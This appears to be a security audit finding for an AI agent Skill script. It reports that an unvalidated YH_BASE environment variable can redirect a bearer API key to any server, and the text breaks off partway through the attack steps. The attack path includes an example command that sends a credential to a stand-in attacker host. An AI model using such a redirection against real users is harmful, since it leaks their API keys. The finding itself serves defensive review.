T09 · Insecure Skill Coding Practices
Error
- Location
scripts/usage.mjs:8- Finding
Bearer API Key Can Be Redirected to an Arbitrary Endpoint
- Content
View full analysis
{ console.error('请求失败:', e.message); process.exit(2) }) ``` ### Technical Analysis The script must transmit the supplied API key to the declared billing service to perform its intended function. However, the request destination is not fixed to that service. The undocumented `YH_BASE` environment variable can replace the expected origin with an arbitrary URL. No URL scheme or hostname validation occurs before the API key is inserted into the `Authorization` header. Consequently, any party capable of influencing the script's environment can direct the bearer credential to an attacker-controlled HTTP or HTTPS server. Allowing plaintext HTTP also permits interception by a network attacker. This behavior exceeds the minimum privileges required by the declared functionality. Retrieving usage data only requires sending the credential to `https://fireworks-simulator-api.huo15.com/v1`; it does not require arbitrary destination support. ### Attack Path 1. An attacker influences the environment used to invoke the Skill, such as through a wrapper script, compromised automation configuration, inherited shell environment, or manipulated service configuration. 2. The attacker sets `YH_BASE` to a server under their control, for example: ```bash YH_BASE=https://attacker.example/v1 node scripts/usage.mjs fsk-secret 30 ``` 3. The script constructs the URL `https://attacker.example/v1/usage?days=30`. 4. It sends the user-supplied credential in the request: ```http Authorization: Bearer fsk-secret ``` 5. The atta ...[truncated 669 chars]- Remediation
View remediation